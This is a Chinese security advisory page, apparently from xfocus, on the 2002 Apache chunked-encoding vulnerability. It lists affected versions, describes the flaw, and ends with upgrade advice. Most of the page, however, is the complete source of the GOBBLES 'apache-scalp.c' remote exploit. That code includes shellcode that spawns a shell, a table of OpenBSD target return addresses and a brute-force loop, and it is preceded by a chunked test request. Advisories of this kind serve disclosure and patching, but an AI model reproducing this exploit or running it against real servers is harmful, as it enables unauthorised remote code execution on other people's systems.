xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

CERT Advisory CA-2002-17:apache web服务程序chunk处理漏洞


发布时间:2002-06-19
更新时间:2002-06-19
严重程度:
威胁程度:普通用户访问权限
错误类型:边界检查错误
利用方式:服务器模式

受影响系统
* Web servers based on Apache code versions 1.3 through 1.3.24
* Web servers based on Apache code versions 2.0 through 2.0.36
详细描述
Apache是流行的WEB服务程序包含支持根据RFC2616描述的HTTP 1.1标准的分块编码数据,此功能默认支持,其中在处理部分分块编码HTTP请求时存在漏洞可导致远程攻击者执行任意代码。

Apache web服务程序包含1.3.24和2.0,2.0.36在处理使用分块编码的非法请求时存在漏洞,在多数情况下非法请求使的子进程在处理请求时会终止,所以至少,此漏洞可使远程攻击者发起拒绝服务攻击。

在WINDOWS和NETWARE平台下,APACHE运行多线程子进程服务请求,处理子进程的重启会造成服务很明显的中断,因为WINDOWS和NETWARE的APACHE程序需要建立新的进程和重新装载配置来代替派生一个子进程,所以会比其他平台有明显的延迟。

Apache 2.0错误条件会正确的被探测,因为不允许攻击者在服务器上执行任意代码.

Apache 1.3会引起堆栈缓冲溢出,32位UNIX平台溢出会引起段错误,并子进程终止,由于符号比较,最小大小传递给memcpy()函数为0x80000000或者大约2gb,除非apache有超过2GB连续堆栈内存在目标缓冲区之后,否则就不能利用。而APACHE FOR WIN32版本由于存在结构异常处理机制,就可以利用异常句柄指针进行攻击,造成任意代码执行,64位操作系统上的APACHE也是如此,缓冲溢出可以被控制,可造成任意代码执行。

测试代码
POST /x.html HTTP/1.1
Host: 192.168.x.x
Transfer-Encoding: chunked


80000000
Rapid 7
0


---------------------------------------------------------------------

/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* ". . . and Doug Sniff said it was a hole in Epic."
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who's left alone
* ---
*
* Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The "experts" have already concurred that this bug...
*      -       Can not be exploited on 32-bit *nix variants
*      -       Is only exploitable on win32 platforms
*      -       Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
*      Sun Solaris 6-8 (sparc/x86)
*      FreeBSD 4.3-4.5 (x86)
*      OpenBSD 2.6-3.1 (x86)
*      Linux (GNU) 2.4 (x86)
*
* Don't get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don't email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don't exist? We wonder who's paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar's effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
*     OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
*     weekend"
* --- "Five years without a remote hole in the default install". default
*      package = kernel. if theo knew that talkd was exploitable, he'd cry.
* --- so funny how apache.org claims it's impossible to exploit this.
* --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?      
* --- I hope Theo doesn't kill himself                        
* --- heh, this is a middle finger to all those open source, anti-"m$"
*     idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
*     scanner to have a module for this vulnerability, but it doesnt even
*     work... it's just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
*     them that moderation == no pie.
* --- now try it against synnergy :>                          
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx  this thing is a major exploit. do you really wanna publish it?
* oooo  i'm not afraid of whitehats
* xxxx  the blackhats will kill you for posting that exploit
* oooo  blackhats are a myth
* oooo  so i'm not worried
* oooo  i've never seen one
* oooo  i guess it's sort of like having god in your life
* oooo  i don't believe there's a god
* oooo  but if i sat down and met him
* oooo  i wouldn't walk away thinking
* oooo  "that was one hell of a special effect"
* oooo  so i suppose there very well could be a blackhat somewhere
* oooo  but i doubt it... i've seen whitehat-blackhats with their ethics
*       and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>


#define EXPLOIT_TIMEOUT        5    /* num seconds to wait before assuming it failed */
#define RET_ADDR_INC        512


#define MEMCPY_s1_OWADDR_DELTA    -146
#define PADSIZE_1        4
#define PADSIZE_2         5
#define PADSIZE_3        7


#define REP_POPULATOR        24
#define REP_RET_ADDR        6
#define REP_ZERO        36
#define REP_SHELLCODE        24
#define NOPCOUNT        1024

#define NOP            0x41
#define PADDING_1        'A'
#define PADDING_2        'B'
#define PADDING_3        'C'

#define PUT_STRING(s)        memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b)        memset(p, b, n); p += n;

#define SHELLCODE_LOCALPORT_OFF 30

char shellcode[] =
  "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
  "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
  "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
  "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
  "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
  "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
  "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
  "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
  "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";


struct {
    char *type;
    u_long retaddr;
} targets[] = {    // hehe, yes theo, that say OpenBSD here!
    { "OpenBSD 3.0 x86 / Apache 1.3.20",    0xcf92f },
    { "OpenBSD 3.0 x86 / Apache 1.3.22",    0x8f0aa },
    { "OpenBSD 3.0 x86 / Apache 1.3.24",    0x90600 },
    { "OpenBSD 3.1 x86 / Apache 1.3.20",    0x8f2a6 },
    { "OpenBSD 3.1 x86 / Apache 1.3.23",    0x90600 },
    { "OpenBSD 3.1 x86 / Apache 1.3.24",    0x9011a },
    { "OpenBSD 3.1 x86 / Apache 1.3.24 #2",    0x932ae },
};


int main(int argc, char *argv[]) {

    char           *hostp, *portp;
    unsigned char   buf[512], *expbuf, *p;
    int             i, j, lport;
    int             sock;
    int             bruteforce, owned, progress;
    u_long          retaddr;
    struct sockaddr_in sin, from;


    if(argc != 3) {
        printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]);
        printf("  Using targets:\t./apache-scalp 3 127.0.0.1:8080\n");
        printf("  Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n");
        printf("\n--- --- - Potential targets list - --- ----\n");
        printf("Target ID / Target specification\n");
        for(i = 0; i < sizeof(targets)/8; i++)
            printf("\t%d / %s\n", i, targets[i].type);

        return -1;
    }


    hostp = strtok(argv[2], ":");
    if((portp = strtok(NULL, ":")) == NULL)
        portp = "80";

    retaddr = strtoul(argv[1], NULL, 16);
    if(retaddr < sizeof(targets)/8) {
        retaddr = targets[retaddr].retaddr;
        bruteforce = 0;
    }
    else
        bruteforce = 1;
        

    srand(getpid());
    signal(SIGPIPE, SIG_IGN);
    for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {

        /* skip invalid return adresses */
        i = retaddr & 0xff;
        if(i == 0x0a || i == 0x0d)
            retaddr++;
        else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
            continue;


        sock = socket(AF_INET, SOCK_STREAM, 0);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(hostp);
        sin.sin_port = htons(atoi(portp));
        if(!progress)
            printf("\n[*] Connecting.. ");

        fflush(stdout);
        if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
            perror("connect()");
            exit(1);
        }

        if(!progress)
            printf("connected!\n");


        /* Setup the local port in our shellcode */
        i = sizeof(from);
        if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
            perror("getsockname()");
            exit(1);
        }

        lport = ntohs(from.sin_port);
        shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
        shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;


        p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
                    + ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));

        PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");

        for (i = 0; i < REP_SHELLCODE; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_3, PADDING_3);
            PUT_STRING(": ");
            PUT_BYTES(NOPCOUNT, NOP);
            memcpy(p, shellcode, sizeof(shellcode) - 1);
            p += sizeof(shellcode) - 1;
            PUT_STRING("\r\n");
        }

        for (i = 0; i < REP_POPULATOR; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_1, PADDING_1);
            PUT_STRING(": ");
            for (j = 0; j < REP_RET_ADDR; j++) {
                *p++ = retaddr & 0xff;
                *p++ = (retaddr >> 8) & 0xff;
                *p++ = (retaddr >> 16) & 0xff;
                *p++ = (retaddr >> 24) & 0xff;
            }

            PUT_BYTES(REP_ZERO, 0);
            PUT_STRING("\r\n");
        }

        PUT_STRING("Transfer-Encoding: chunked\r\n");
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
        PUT_STRING(buf);
        PUT_BYTES(PADSIZE_2, PADDING_2);
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
        PUT_STRING(buf);

        write(sock, expbuf, p - expbuf);

        progress++;
        if((progress%70) == 0)
            progress = 1;

        if(progress == 1) {
            memset(buf, 0, sizeof(buf));
            sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport %u",
                retaddr, (unsigned int)(p - expbuf), lport);
            memset(buf + strlen(buf), ' ', 74 - strlen(buf));
            puts(buf);
            if(bruteforce)
                putchar(';');
        }
        else
            putchar((rand()%2)? 'P': 'p');


        fflush(stdout);
        while (1) {
            fd_set          fds;
            int             n;
            struct timeval  tv;

            tv.tv_sec = EXPLOIT_TIMEOUT;
            tv.tv_usec = 0;

            FD_ZERO(&fds);
            FD_SET(0, &fds);
            FD_SET(sock, &fds);

            memset(buf, 0, sizeof(buf));
            if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
                if(FD_ISSET(sock, &fds)) {
                    if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
                        break;

                    if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
                        printf("\nGOBBLE GOBBLE!@#%%)*#\n");
                        printf("retaddr 0x%lx did the trick!\n", retaddr);
                        sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
                        write(sock, expbuf, strlen(expbuf));
                        owned++;
                    }

                    write(1, buf, n);
                }

                if(FD_ISSET(0, &fds)) {
                    if((n = read(0, buf, sizeof(buf) - 1)) < 0)
                        exit(1);

                    write(sock, buf, n);
                }
            }

            if(!owned)
                break;
        }

        free(expbuf);
        close(sock);

        if(owned)
            return 0;

        if(!bruteforce) {
            fprintf(stderr, "Ooops.. hehehe!\n");
            return -1;
        }
    }

    return 0;
}

解决方案
请升级到APACHE 2.0.39和1.3.26版本:

http://httpd.apache.org/dist

相关信息
参考:http://httpd.apache.org/info/security_bulletin_20020617.txt
http://archives.neohapsis.com/archives/bugtraq/2002-06/0218.html
http://archives.neohapsis.com/archives/bugtraq/2002-06/0198.html
http://archives.neohapsis.com/archives/bugtraq/2002-06/0